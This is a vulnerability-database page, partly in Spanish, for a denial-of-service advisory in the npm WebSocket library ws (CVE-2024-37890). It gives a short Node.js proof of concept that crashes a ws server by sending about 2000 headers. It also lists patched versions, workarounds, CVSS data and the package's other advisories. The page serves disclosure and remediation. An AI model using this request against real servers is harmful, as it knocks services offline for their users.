Alta

ws affected by a DoS when handling a request with many HTTP headers

Publicada: 17.06.2024
Actualizado: 11.10.2026 10:22

Impact

A request with a number of headers exceeding the server.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (https://github.com/websockets/ws/commit/e55e5106f10fcbaac37cfa89759e4cc0d073a52c) and backported to ws@7.5.10 (https://github.com/websockets/ws/commit/22c28763234aa75a7e1b76f5c01c181260d7917f), ws@6.2.3 (https://github.com/websockets/ws/commit/eeb76d313e2a00dd5247ca3597bba7877d064a63), and ws@5.2.4 (https://github.com/websockets/ws/commit/4abd8f6de4b0b65ef80b3ff081989479ed93377e).

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

Software afectado

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Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	ws	>= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1	5.2.4, 6.2.3, 7.5.10, 8.17.1

Referencias

Puntuación CVSS 7.5/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Debilidad (CWE): CWE-476
Plataforma: npm
Paquete: ws
Publicada: 17.06.2024
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-3h5v-q93c-6h6q - CC BY 4.0

Historial de vulnerabilidades: ws

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total: 7
Primera → última: 02.2019 06.2026
Sin corrección: 0
Explotada en ataques: 0

Distribución por gravedad

Alta 4
Media 2
Baja 1

Divulgaciones por año

2019: 3
2020: 0
2021: 1
2022: 0
2023: 0
2024: 1
2025: 0
2026: 2

15.06.2026

ws: Memory exhaustion DoS from tiny fragments and data chunks

Alta · 7.5 CVE-2026-48779 >= 1.1.0, < 5.2.5, >= 6.0.0, < 6.2.4, >= 7.0.0, < 7.5.11, >= 8.0.0, < 8.21.0 5.2.5, 6.2.4, 7.5.11, 8.21.0
18.05.2026

ws: Uninitialized memory disclosure

Media · 4.4 CVE-2026-45736 >= 8.0.0, < 8.20.1 8.20.1
17.06.2024

ws affected by a DoS when handling a request with many HTTP headers esta entrada

Alta · 7.5 CVE-2024-37890 >= 2.1.0, < 5.2.4, >= 6.0.0, < 6.2.3, >= 7.0.0, < 7.5.10, >= 8.0.0, < 8.17.1 5.2.4, 6.2.3, 7.5.10, 8.17.1
28.05.2021

ReDoS in Sec-Websocket-Protocol header

Media · 5.3 CVE-2021-32640 >= 7.0.0, < 7.4.6, >= 6.0.0, < 6.2.2, >= 5.0.0, < 5.2.3 7.4.6, 6.2.2, 5.2.3
04.06.2019

Denial of Service in ws

Alta · 7.5 ghsa-5v72-xg48-5rpm >= 0.6.0, < 1.1.5, >= 2.0.0, < 3.3.1 1.1.5, 3.3.1
18.02.2019

DoS due to excessively large websocket message in ws

Alta CVE-2016-10542 < 1.1.1 1.1.1
18.02.2019

Remote Memory Disclosure in ws

Baja CVE-2016-10518 < 1.0.1 1.0.1

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